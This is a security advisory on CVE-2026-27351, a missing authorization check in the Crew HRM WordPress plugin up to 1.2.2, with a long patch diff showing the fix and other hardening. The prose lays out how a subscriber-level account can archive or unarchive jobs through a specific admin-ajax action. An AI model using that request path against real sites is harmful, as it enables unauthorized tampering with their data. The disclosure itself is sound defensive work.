Published : June 22, 2026

CVE-2026-27351: Employee, Leave and Recruitment Management System – Crew HRM <= 1.2.2 Missing Authorization PoC, Patch Analysis & Rule

Plugin hr-management
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.2.2
Patched Version 1.2.3
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27351:

This vulnerability is a Missing Authorization issue in the Employee, Leave and Recruitment Management System – Crew HRM plugin for WordPress, affecting versions up to and including 1.2.2. The core problem is that the ‘singleJobAction’ method in the JobManagement controller lacked a capability check, allowing authenticated users with subscriber-level access or above to trigger job management actions (such as archiving/unarchiving jobs) that should be restricted to administrators. The CVSS score is 4.3, indicating a moderate severity but actionable risk for multi-role WordPress sites.

The root cause stems from the ‘singleJobAction’ function’s registration in the array ‘restricted’ within the file ‘hr-management/classes/Controllers/JobManagement.php’. In the vulnerable version, this function was listed with an empty permissions array: `’singleJobAction’ => array()`. This meant the plugin never verified the user’s role or capability before executing the action. The patch adds a role restriction: `’singleJobAction’ => array( ‘role’ => array( ‘administrator’ ) )`, ensuring only administrators can perform job management operations like toggling archive status. The diff shows no additional capability checks inside the method itself, but the framework’s built-in permission system uses this array to gate access. Without this restriction, any user with a valid WordPress account (subscriber or higher) could make AJAX requests to trigger arbitrary job actions.

Exploitation requires a valid WordPress user account with subscriber-level privileges or higher. The attacker sends a POST request to ‘/wp-admin/admin-ajax.php’ with the action parameter set to ‘crewhrm_single_job_action’ (the AJAX hook) and additional parameters like ‘job_id’ and ‘task’ (e.g., ‘archive’ or ‘unarchive’). The plugin’s AJAX handler, registered for both authenticated and unauthenticated users, executes the ‘singleJobAction’ method without checking if the user is an administrator. Since the ‘restricted’ array entry was empty, the framework allowed the request through. An attacker could loop through job IDs to archive or unarchive any job, disrupting recruitment workflows.

The patch modifies the ‘restricted’ array in ‘hr-management/classes/Controllers/JobManagement.php’ by adding a ‘role’ key with an array containing ‘administrator’. This tells the plugin’s permission system to enforce administrator-level access before executing the ‘singleJobAction’ method. Before the patch, the empty array allowed all users; after the patch, only users with the ‘administrator’ role can access this endpoint. The patch also includes a variety of unrelated improvements across the codebase (ABSPATH checks, text domain fixes, SQL injection hardening via prepared statements, and XSS prevention via wp_kses), but the core authorization fix is this single line change in the controller’s permission map.

If exploited, an authenticated attacker with low privileges (subscriber or higher) can arbitrarily archive or unarchive job listings. This can lead to disruption of recruitment processes, hiding active job postings from public view, or exposing archived jobs prematurely. While this does not directly lead to data theft or remote code execution, it compromises the integrity of the job management workflow and could be used to cause reputational damage or operational disruption. In worst-case scenarios, if combined with other vulnerabilities (e.g., stored XSS), archived jobs might still be accessible via other endpoints, potentially leading to further attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/hr-management/addons/Recaptcha/classes/Controllers/Credential.php
+++ b/hr-management/addons/Recaptcha/classes/Controllers/Credential.php
@@ -7,6 +7,11 @@

 namespace CrewHRMAddonRecaptchaControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMAddonRecaptchaModelsGoogle;
 use CrewHRMHelpersCredential as HelpersCredential;
 use CrewHRMModelsUser;
--- a/hr-management/addons/Recaptcha/classes/Main.php
+++ b/hr-management/addons/Recaptcha/classes/Main.php
@@ -7,6 +7,11 @@

 namespace CrewHRMAddonRecaptcha;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMAddonRecaptchaSetupDispatcher;
 use CrewHRMAddonRecaptchaSetupScripts;
 use CrewHRMAddonRecaptchaSetupVerify;
--- a/hr-management/addons/Recaptcha/classes/Models/Google.php
+++ b/hr-management/addons/Recaptcha/classes/Models/Google.php
@@ -7,6 +7,11 @@

 namespace CrewHRMAddonRecaptchaModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpersCredential;

 /**
--- a/hr-management/addons/Recaptcha/classes/Setup/Dispatcher.php
+++ b/hr-management/addons/Recaptcha/classes/Setup/Dispatcher.php
@@ -7,6 +7,11 @@

 namespace CrewHRMAddonRecaptchaSetup;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMAddonRecaptchaControllersCredential;

 /**
--- a/hr-management/addons/Recaptcha/classes/Setup/Scripts.php
+++ b/hr-management/addons/Recaptcha/classes/Setup/Scripts.php
@@ -7,6 +7,11 @@

 namespace CrewHRMAddonRecaptchaSetup;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpersUtilities;
 use CrewHRMAddonRecaptchaMain;
 use CrewHRMAddonRecaptchaModelsGoogle;
--- a/hr-management/addons/Recaptcha/classes/Setup/Verify.php
+++ b/hr-management/addons/Recaptcha/classes/Setup/Verify.php
@@ -7,6 +7,11 @@

 namespace CrewHRMAddonRecaptchaSetup;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMAddonRecaptchaModelsGoogle;

 /**
--- a/hr-management/classes/Controllers/AddonController.php
+++ b/hr-management/classes/Controllers/AddonController.php
@@ -7,6 +7,11 @@

 namespace CrewHRMControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_String;
 use CrewHRMModelsAddonManager;

--- a/hr-management/classes/Controllers/ApplicationHandler.php
+++ b/hr-management/classes/Controllers/ApplicationHandler.php
@@ -7,6 +7,11 @@

 namespace CrewHRMControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMModelsApplication;
 use CrewHRMModelsField;
 use CrewHRMModelsFileManager;
@@ -92,7 +97,7 @@
 		wp_send_json_success(
 			array(
 				'application_id' => $application_id,
-				'message'        => esc_html__( 'Application has been created.' ),
+				'message'        => esc_html__( 'Application has been created.', 'hr-management' ),
 			)
 		);
 	}
@@ -199,7 +204,7 @@
 		Application::changeApplicationStage( $job_id, $application_id, $stage_id );
 		wp_send_json_success(
 			array(
-				'message' => esc_html__( 'Application stage changed successfully!' ),
+				'message' => esc_html__( 'Application stage changed successfully!', 'hr-management' ),
 			)
 		);
 	}
@@ -280,6 +285,6 @@
 			);
 		}

-		wp_send_json_error( array( 'message' => __( 'Invalid access', 'crewhrm' ) ) );
+		wp_send_json_error( array( 'message' => __( 'Invalid access', 'hr-management' ) ) );
 	}
 }
--- a/hr-management/classes/Controllers/EmployeeController.php
+++ b/hr-management/classes/Controllers/EmployeeController.php
@@ -5,6 +5,11 @@

 namespace CrewHRMControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpersFile;
 use CrewHRMModelsEmployment;
 use CrewHRMModelsUser;
@@ -45,12 +50,12 @@

 		// If acting as admin but not admin then show error
 		if ( $is_admin && ! User::hasAdministrativeRole( $current_user_id ) ) {
-			wp_send_json_error( array( 'message' => __( 'Access denied!', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => __( 'Access denied!', 'hr-management' ) ) );
 		}

 		// Check if required fields provided
 		if ( empty( $employee['first_name'] ) || empty( $employee['last_name'] ) || ( $is_admin && empty( $employee['user_email'] ) ) ) {
-			wp_send_json_error( array( 'message' => esc_html__( 'Required fields missing', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => esc_html__( 'Required fields missing', 'hr-management' ) ) );
 		}

 		// If it is onboarding by end user, use current user ID as the employee
@@ -64,7 +69,7 @@
 		// Show warning for existing email
 		$mail_user_id = $is_admin ? User::getUserIdByEmail( $employee['user_email'] ) : null;
 		if ( ! empty( $mail_user_id ) && $mail_user_id !== ( $employee['user_id'] ?? null ) ) {
-			wp_send_json_error( array( 'message' => esc_html__( 'The email is associated with another account already', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => esc_html__( 'The email is associated with another account already', 'hr-management' ) ) );
 		}

 		// Show warning for duplicate employee ID
@@ -77,7 +82,7 @@

 			$employee_user_id = User::getUserIdByEmployeeId( $employee['employee_id'] );
 			if ( ! empty( $employee_user_id ) && $employee_user_id != ( $employee['user_id'] ?? null ) ) {
-				wp_send_json_error( array( 'message' => __( 'The employee ID exists', 'crewhrm' ) ) );
+				wp_send_json_error( array( 'message' => __( 'The employee ID exists', 'hr-management' ) ) );
 			}
 		}

@@ -88,7 +93,7 @@

 		// If fails
 		if ( empty( $user_id ) || ! is_numeric( $user_id ) ) {
-			wp_send_json_error( array( 'message' => esc_html__( 'Something went wrong!', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => esc_html__( 'Something went wrong!', 'hr-management' ) ) );
 		}

 		// Update completed step array
@@ -116,7 +121,7 @@

 		// Validate access
 		if ( get_current_user_id() != $user_id && ! User::hasAdministrativeRole( get_current_user_id() ) ) {
-			wp_send_json_error( array( 'message' => __( 'Access denied!', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => __( 'Access denied!', 'hr-management' ) ) );
 		}

 		$employee = User::getUserInfo( $user_id );
@@ -129,7 +134,7 @@
 				)
 			);
 		} else {
-			wp_send_json_error( array( 'message' => esc_html__( 'Employee not found', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => esc_html__( 'Employee not found', 'hr-management' ) ) );
 		}
 	}

@@ -145,7 +150,7 @@
 		$administrative = User::hasAdministrativeRole( $user_id );

 		if ( ( $is_admin && ! $administrative ) || ( ! $administrative && ! User::validateRole( $user_id, User::ROLE_EMPLOYEE ) ) ) {
-			wp_send_json_error( array( 'message' => __( 'Access denied!', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => __( 'Access denied!', 'hr-management' ) ) );
 		}

 		$users = User::getEmployeeUsers( $filters );
@@ -192,11 +197,11 @@
 		$success = Employment::changeStatus( $user_id, $status );

 		if ( $success ) {
-			wp_send_json_success( array( 'message' => __( 'Employment status has been changed successfully!' ) ) );
+			wp_send_json_success( array( 'message' => __( 'Employment status has been changed successfully!', 'hr-management' ) ) );
 			return;
 		}

-		wp_send_json_error( array( 'message' => __( 'Employment not found to change status' ) ) );
+		wp_send_json_error( array( 'message' => __( 'Employment not found to change status', 'hr-management' ) ) );
 	}

 	/**
--- a/hr-management/classes/Controllers/JobManagement.php
+++ b/hr-management/classes/Controllers/JobManagement.php
@@ -7,6 +7,11 @@

 namespace CrewHRMControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMModelsApplication;
 use CrewHRMModelsJob;
@@ -26,7 +31,9 @@
 		'getJobsDashboard'    => array(),
 		'getJobsDashboardMinimal'    => array(),
 		'getApplicationsByJob'    => array(),
-		'singleJobAction'     => array(),
+		'singleJobAction'     => array(
+			'role' => array( 'administrator' ),
+		),
 		'getSingleJobView'    => array(
 			'nopriv' => true,
 		),
@@ -157,7 +164,7 @@
 				Job::toggleArchiveState( $job_id, $do_archive );
 				wp_send_json_success(
 					array(
-						'message' => $do_archive ? esc_html__( 'Job archived', 'hr-management' ) : esc_html__( 'Job removed from archived' ),
+						'message' => $do_archive ? esc_html__( 'Job archived', 'hr-management' ) : esc_html__( 'Job removed from archived', 'hr-management' ),
 					)
 				);
 				break;
@@ -194,7 +201,7 @@

 		// If job not found, show error message.
 		if ( empty( $job ) ) {
-			wp_send_json_error( array( 'message' => esc_html__( 'Job Not Found', 'crewhrm' ) ) );
+			wp_send_json_error( array( 'message' => esc_html__( 'Job Not Found', 'hr-management' ) ) );
 		}

 		// Determine if the current user can visit the job
@@ -227,7 +234,7 @@
 		$job = apply_filters( 'crewhrm_single_job_view', $job );

 		if ( ! $can_visit ) {
-			wp_send_json_error( array( 'message' => esc_html__( 'Job not found' ) ) );
+			wp_send_json_error( array( 'message' => esc_html__( 'Job not found', 'hr-management' ) ) );
 		} else {
 			wp_send_json_success(
 				array(
--- a/hr-management/classes/Controllers/MailPreview.php
+++ b/hr-management/classes/Controllers/MailPreview.php
@@ -7,6 +7,11 @@

 namespace CrewHRMControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMMain;
 use CrewHRMModelsMailer;

@@ -53,14 +58,14 @@
 		}

 		if ( empty( $templates[ $template ] ) ) {
-			exit( esc_html__( 'The email template was not found to preview', 'crewhrm' ) );
+			exit( esc_html__( 'The email template was not found to preview', 'hr-management' ) );
 		}

 		$path = $templates[ $template ]['path'];

 		if ( ! file_exists( $path ) ) {
 			http_response_code( 404 );
-			exit( esc_html__( 'Template file not found', 'crewhrm' ) );
+			exit( esc_html__( 'Template file not found', 'hr-management' ) );
 		}

 		// Render event template
@@ -72,8 +77,32 @@
 		ob_start();
 		include Main::$configs->dir . 'templates/email/layout.php';
 		$final_body = str_replace( '{contents}', $contents, ob_get_clean() );
+		$allowed    = wp_kses_allowed_html( 'post' );
+
+		// Keep document-level tags so email preview can render as full HTML in browser.
+		$allowed['html']  = array(
+			'lang' => true,
+			'dir'  => true,
+		);
+		$allowed['head']  = array();
+		$allowed['body']  = array(
+			'class' => true,
+			'id'    => true,
+			'style' => true,
+		);
+		$allowed['meta']  = array(
+			'charset'    => true,
+			'name'       => true,
+			'content'    => true,
+			'http-equiv' => true,
+		);
+		$allowed['title'] = array();
+		$allowed['style'] = array(
+			'type'  => true,
+			'media' => true,
+		);

-		echo $final_body;
+		echo wp_kses( $final_body, $allowed );

 		exit;
 	}
--- a/hr-management/classes/Controllers/MediaHandler.php
+++ b/hr-management/classes/Controllers/MediaHandler.php
@@ -27,13 +27,50 @@

 		$path = get_attached_file( $file_id );

+		require_once ABSPATH . 'wp-admin/includes/file.php';
+		global $wp_filesystem;
+		WP_Filesystem();
+
 		if ( empty( $path ) || ! is_readable( $path ) ) {
 			http_response_code( 404 );
 			exit;
 		}

+		if ( ! $wp_filesystem ) {
+			http_response_code( 500 );
+			exit;
+		}
+
+		$file_contents = $wp_filesystem->get_contents( $path );
+		if ( false === $file_contents ) {
+			http_response_code( 404 );
+			exit;
+		}
+
 		$mime_type = mime_content_type( $path );
-		$file_size = filesize( $path );
+		$file_size = strlen( $file_contents );
+
+		$allowed_html = wp_kses_allowed_html( 'post' );
+		$allowed_html['html']  = array(
+			'lang' => true,
+			'dir'  => true,
+		);
+		$allowed_html['head']  = array();
+		$allowed_html['meta']  = array(
+			'charset'    => true,
+			'name'       => true,
+			'content'    => true,
+			'http-equiv' => true,
+		);
+		$allowed_html['title'] = array();
+		$allowed_html['body']  = array(
+			'class' => true,
+			'id'    => true,
+			'style' => true,
+		);
+		$allowed_html['style'] = array(
+			'type' => true,
+		);

 		nocache_headers();
 		header( 'Content-Type: ' . $mime_type . '; charset=utf-8' );
@@ -41,7 +78,8 @@
 		header( 'Content-Length: ' . $file_size );
 		header( 'Pragma: no-cache' );
 		header( 'Expires: 0' );
-		readfile( $path );
+
+		echo wp_kses( $file_contents, $allowed_html );
 		exit;
 	}
 }
--- a/hr-management/classes/Controllers/PluginSettings.php
+++ b/hr-management/classes/Controllers/PluginSettings.php
@@ -7,6 +7,11 @@

 namespace CrewHRMControllers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMModelsDepartment;
 use CrewHRMModelsSettings;

--- a/hr-management/classes/Helpers/Colors.php
+++ b/hr-management/classes/Helpers/Colors.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 /**
  * Color helper class
  */
--- a/hr-management/classes/Helpers/Credential.php
+++ b/hr-management/classes/Helpers/Credential.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 /**
  * Credential manager class
  */
--- a/hr-management/classes/Helpers/File.php
+++ b/hr-management/classes/Helpers/File.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMMain;

 /**
--- a/hr-management/classes/Helpers/Utilities.php
+++ b/hr-management/classes/Helpers/Utilities.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMMain;
 use CrewHRMModelsSettings;

--- a/hr-management/classes/Helpers/_Array.php
+++ b/hr-management/classes/Helpers/_Array.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 /**
  * The enriched array class
  */
--- a/hr-management/classes/Helpers/_Number.php
+++ b/hr-management/classes/Helpers/_Number.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 /**
  * Number handler class
  */
--- a/hr-management/classes/Helpers/_String.php
+++ b/hr-management/classes/Helpers/_String.php
@@ -7,6 +7,11 @@

 namespace CrewHRMHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 /**
  * String handler class
  */
--- a/hr-management/classes/Main.php
+++ b/hr-management/classes/Main.php
@@ -7,6 +7,11 @@

 namespace CrewHRM;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMSetupAddon;
 use CrewHRMSetupAdmin;
--- a/hr-management/classes/Models/AddonManager.php
+++ b/hr-management/classes/Models/AddonManager.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMModelsSettings;

--- a/hr-management/classes/Models/Address.php
+++ b/hr-management/classes/Models/Address.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;
 use CrewHRMHelpersUtilities;
@@ -75,8 +80,9 @@

 		global $wpdb;
 		$wpdb->query(
-			$wpdb->prepare(
-				"DELETE FROM {$wpdb->crewhrm_addresses} WHERE address_id IN ({$ids_places})",
+			$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+				'DELETE FROM %i WHERE address_id IN (' . $ids_places . ')', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$wpdb->crewhrm_addresses,
 				...$ids
 			)
 		);
@@ -93,7 +99,8 @@
 		global $wpdb;
 		$address = $wpdb->get_row(
 			$wpdb->prepare(
-				"SELECT * FROM {$wpdb->crewhrm_addresses} WHERE address_id=%d",
+				'SELECT * FROM %i WHERE address_id=%d',
+				$wpdb->crewhrm_addresses,
 				$address_id
 			),
 			ARRAY_A
--- a/hr-management/classes/Models/Application.php
+++ b/hr-management/classes/Models/Application.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;
 use CrewHRMHelpersFile;
@@ -167,15 +172,16 @@

 		global $wpdb;
 		$applications = $wpdb->get_results(
-			$wpdb->prepare(
+			$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 				"SELECT
 					application_id,
 					resume_file_id,
 					address_id
 				FROM
-					{$wpdb->crewhrm_applications}
+					%i
 				WHERE
-					application_id IN ({$ids_places})",
+					application_id IN ({$ids_places})", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				$wpdb->crewhrm_applications,
 				...$ids
 			),
 			ARRAY_A
@@ -219,16 +225,18 @@

 		// Delete pipelines
 		$wpdb->query(
-			$wpdb->prepare(
-				"DELETE FROM {$wpdb->crewhrm_pipeline} WHERE application_id IN ({$ids_places})",
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+				'DELETE FROM %i WHERE application_id IN (' . $ids_places . ')', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$wpdb->crewhrm_pipeline,
 				...$ids
 			)
 		);

 		// Delete application finally
 		$wpdb->query(
-			$wpdb->prepare(
-				"DELETE FROM {$wpdb->crewhrm_applications} WHERE application_id IN ({$ids_places})",
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+				'DELETE FROM %i WHERE application_id IN (' . $ids_places . ')', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$wpdb->crewhrm_applications,
 				...$ids
 			)
 		);
@@ -246,12 +254,13 @@
 	public static function getApplicationsIdsByJobId( $job_id ) {
 		global $wpdb;

-		return $wpdb->get_col(
-			$wpdb->prepare(
-				"SELECT application_id FROM {$wpdb->crewhrm_applications} WHERE job_id=%d",
-				$job_id
-			)
-		);
+			return $wpdb->get_col(
+				$wpdb->prepare(
+					'SELECT application_id FROM %i WHERE job_id=%d',
+					$wpdb->crewhrm_applications,
+					$job_id
+				)
+			);
 	}

 	/**
@@ -320,7 +329,8 @@
 		$get_qualified = 'disqualified' !== ( $args['qualification'] ?? 'qualified' ); // Whether to get disqualified or qualified applications

 		// Where conditions. Get only completed applications to show the list. Incomplete means file upload is in progress.
-		$where_clause = $wpdb->prepare( 'app.job_id=%d AND app.is_complete=1', $job_id );
+		$where_clause = 'app.job_id=%d AND app.is_complete=1';
+		$where_args   = array( $job_id );

 		// Assign applicant name search query
 		if ( ! empty( $args['search'] ) ) {
@@ -333,7 +343,8 @@

 		// Apply specific stage filter if need
 		if ( ! empty( $stage_id ) ) {
-			$where_clause .= $wpdb->prepare( ' AND app.stage_id=%d', $stage_id );
+			$where_clause .= ' AND app.stage_id=%d';
+			$where_args[]  = $stage_id;
 		}

 		// Whether to get non user only
@@ -346,22 +357,28 @@
 		$disq_ids        = self::getDisqualifiedAppIDs( $job_id, $disq_stage_id );
 		$disq_ids        = array_values( _Array::getArray( $disq_ids, false, 0 ) );
 		$disq_ids_places = _String::getPlaceHolders( $disq_ids );
+		$query_args      = array_merge( $where_args, $disq_ids );

 		// Run query and get the application IDs
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$application_ids = $wpdb->get_col(
-			$wpdb->prepare(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 				"SELECT
 					app.application_id
-				FROM {$wpdb->crewhrm_applications} app
-					LEFT JOIN {$wpdb->crewhrm_stages} stage ON app.stage_id=stage.stage_id
-					LEFT JOIN {$wpdb->users} _user ON app.email COLLATE $wp_collate=_user.user_email
+				FROM %i app
+					LEFT JOIN %i stage ON app.stage_id=stage.stage_id
+					LEFT JOIN %i _user ON app.email COLLATE $wp_collate=_user.user_email
 				WHERE
 					{$where_clause}
 					AND app.application_id {$negate_in} IN ({$disq_ids_places})
 				ORDER BY application_date DESC",
-				...$disq_ids
+				$wpdb->crewhrm_applications,
+				$wpdb->crewhrm_stages,
+				$wpdb->users,
+				...$query_args
 			)
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		// If it needs only count, no need to include other data, return count onyl
 		if ( $count_only ) {
@@ -377,31 +394,34 @@
 		$ids_places      = _String::getPlaceHolders( $application_ids );

 		// Get the resutls
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$results = $wpdb->get_results(
-			$wpdb->prepare(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 				"SELECT
-					application_id,
-					job_id,
-					stage_id,
-					address_id,
-					first_name,
-					last_name,
-					email,
-					phone,
-					date_of_birth,
-					gender,
-					cover_letter,
-					resume_file_id,
-					is_complete,
-					UNIX_TIMESTAMP(application_date) AS application_date
+				application_id,
+				job_id,
+				stage_id,
+				address_id,
+				first_name,
+				last_name,
+				email,
+				phone,
+				date_of_birth,
+				gender,
+				cover_letter,
+				resume_file_id,
+				is_complete,
+				UNIX_TIMESTAMP(application_date) AS application_date
 				FROM
-					{$wpdb->crewhrm_applications}
+					%i
 				WHERE application_id IN ({$ids_places})
 				ORDER BY application_date DESC",
+				$wpdb->crewhrm_applications,
 				...$application_ids
 			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		return _Array::castRecursive( $results );
 	}
@@ -423,10 +443,12 @@
 					pipe.application_id,
 					pipe.stage_id
 				FROM
-					{$wpdb->crewhrm_pipeline} pipe INNER JOIN {$wpdb->crewhrm_applications} app ON pipe.application_id=app.application_id
+					%i pipe INNER JOIN %i app ON pipe.application_id=app.application_id
 				WHERE
 					app.job_id=%d
 				ORDER BY action_date DESC",
+				$wpdb->crewhrm_pipeline,
+				$wpdb->crewhrm_applications,
 				$job_id
 			),
 			ARRAY_A
--- a/hr-management/classes/Models/DB.php
+++ b/hr-management/classes/Models/DB.php
@@ -182,11 +182,28 @@
 				foreach ( $query['columns'] as $column_name => $column_info ) {
 					// Determine if column needs to be added or modified
 					if ( $column_info['operation'] === 'ADD' && ! in_array( $column_name, $current_columns ) ) {
-						$wpdb->query( "ALTER TABLE {$query['table']} ADD {$column_info['definition']}" );
+						$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange
+							$wpdb->prepare(
+								'ALTER TABLE %i ADD ' . $column_info['definition'], // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.SchemaChange
+								$query['table']
+							)
+						);
 					} elseif ( $column_info['operation'] === 'MODIFY' && in_array( $column_name, $current_columns ) ) {
-						$wpdb->query( "ALTER TABLE {$query['table']} MODIFY `{$column_name}` {$column_info['definition']}" );
+						$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange
+							$wpdb->prepare(
+								'ALTER TABLE %i MODIFY %i ' . $column_info['definition'], // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.SchemaChange
+								$query['table'],
+								$column_name
+							)
+						);
 					} elseif ( $column_info['operation'] === 'DROP' && in_array( $column_name, $current_columns ) ) {
-						$wpdb->query( "ALTER TABLE {$query['table']} DROP COLUMN `{$column_name}`" );
+						$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange
+							$wpdb->prepare(
+								'ALTER TABLE %i DROP COLUMN %i', // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange
+								$query['table'],
+								$column_name
+							)
+						);
 					}
 				}
 			}
--- a/hr-management/classes/Models/Department.php
+++ b/hr-management/classes/Models/Department.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;

@@ -81,11 +86,12 @@

 		global $wpdb;
 		$wpdb->query(
-			$wpdb->prepare(
+			$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 				"DELETE FROM
-					{$wpdb->crewhrm_departments}
+					%i
 				WHERE
-					department_id NOT IN ({$ids_places})",
+					department_id NOT IN ({$ids_places})", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				$wpdb->crewhrm_departments,
 				...$current_ids
 			)
 		);
--- a/hr-management/classes/Models/Employment.php
+++ b/hr-management/classes/Models/Employment.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;

 class Employment {
@@ -88,7 +93,8 @@

 		global $wpdb;

-		$limit = ! empty( $limit ) ? $wpdb->prepare( ' LIMIT %d', $limit ) : '';
+		$limit_clause = ! empty( $limit ) ? ' LIMIT %d' : '';
+		$query_args   = ! empty( $limit ) ? array( $user_id, $limit ) : array( $user_id );

 		$rows = $wpdb->get_results(
 			$wpdb->prepare(
@@ -98,11 +104,11 @@
 					{$wpdb->crewhrm_employments}
 				WHERE
 					employee_user_id=%d
-				ORDER BY employment_id DESC {$limit}",
-				$user_id
-			),
-			ARRAY_A
-		);
+					ORDER BY employment_id DESC {$limit_clause}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					...$query_args
+				),
+				ARRAY_A
+			);

 		// Get employment specific related data
 		foreach ( $rows as $index => $row ) {
@@ -186,23 +192,25 @@
 		// WordPress Table Collate
 		$wp_collate = $wpdb->collate;

+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		$users = $wpdb->get_results(
-			$wpdb->prepare(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 				"SELECT
 					_employee.employee_user_id,
 					_user.display_name
 				FROM
 					{$wpdb->crewhrm_employments} _employee
 					INNER JOIN {$wpdb->users} _user ON _employee.employee_user_id COLLATE $wp_collate=_user.ID
-				WHERE
-					_employee.reporting_person_user_id=%d
-				ORDER BY
-					_employee.employment_id DESC
-				",
-				$user_id
+			WHERE
+				_employee.reporting_person_user_id=%d
+			ORDER BY
+				_employee.employment_id DESC
+			",
+			$user_id
 			),
 			ARRAY_A
 		);
